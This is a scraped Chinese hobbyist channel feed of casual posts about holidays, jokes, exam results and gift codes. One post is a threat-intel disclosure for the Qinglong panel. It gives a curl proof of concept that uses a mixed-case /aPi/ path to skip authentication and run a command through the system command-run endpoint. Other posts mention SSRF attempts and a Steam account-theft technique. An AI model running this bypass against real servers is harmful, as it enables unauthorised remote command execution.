#日常 嗨~想我了吗♪

#日常 #原 邀请大家看看我的新坐车卡(＾▽＾)／🚘

#日常 元宵节快乐(˶╹ꇴ╹˶)🏮

青龙面板 最新版本 0day 鉴权绕过导致 RCE
青龙面板最新版存在一处鉴权绕过漏洞，未认证请求可访问高权限接口，并最终触发命令执行。
攻击者可通过大小写变形路径（如 /API/...）绕过鉴权 curl -X PUT "http://localhost:5700/aPi/system/command-run" \     
-H "Content-Type: application/json" \
-d '{"command": "id"}'
原文：https://mp.weixin.qq.com/s/mbjS5himBugBI_KX8pC68g
#威胁情报 #poc

GNT.Channel.name = 开源摸鱼社💤

Photo

#吐槽 没完了说是，打不通难道不考虑一下场景对不对吗

#日常 #乐子
啊哈哈哈哈哈哈哈大晚上看这个给我笑死了，这下是真多玩 5 块的了
指路：https://api.xiaoheihe.cn/v3/bbs/app/api/web/share?link_id=add7718b6fcf

#日常 #乐子
已经查到考研成绩了，404 分，很惊喜，也很意外。感谢自己这些天的努力，也感谢大家的鼓励与支持。后面还有个 Not Found，应该是说本专业找不到比我分还高的 。

GNT.Channel.name = 开源摸鱼社💤

#日常 有人想打我的图床说是，但是这东西是跑在 Cloudflare Pages 上的东西（思考 看样子是以为我的图床跑在 AWS 上，打了 SSRF，目标是 AWS 在安装系统啥的时候从云端读取 secret 之类的配置的那个路径 图床：https://bili33.eu.org

#日常 #吐槽 书接上回，不知道是不是同一个人，但是是同一个手法

#日常 #安全 刚试了一下之前看到的一篇技术文，关于新版 Steam 的盗号原理，稍微实践了一下，真把自己的号给「盗」了
提醒大家还是不要乱打开来路不明的软件哦，用这个方式盗的号甚至没有任何的安全提醒

#铁 #兑换码

恭喜发财好运来 - 星琼x300

#铁 花火妈说是

#日常 #乐子
《放心吧我一定能架住😎》
《过去一个🧧🥲》
《过去两个🧧😞》
《过去三个🧧🤯》
《全过去了🧧😫》
《握草里的全过去了🧧😭》
《给我发个专属🧧🥺》

#日常 小小红包祝大家新年快乐

G4m1ngC0dlng3veDay

#日常 #终 #图 除夕快乐

#日常 什么？29.75？还包邮？那我说啥了，比线下快闪卖的便宜

#乐子
☁
□ 确认您是真人 CLOUDFLARE
꯭隐꯭私·条꯭款꯭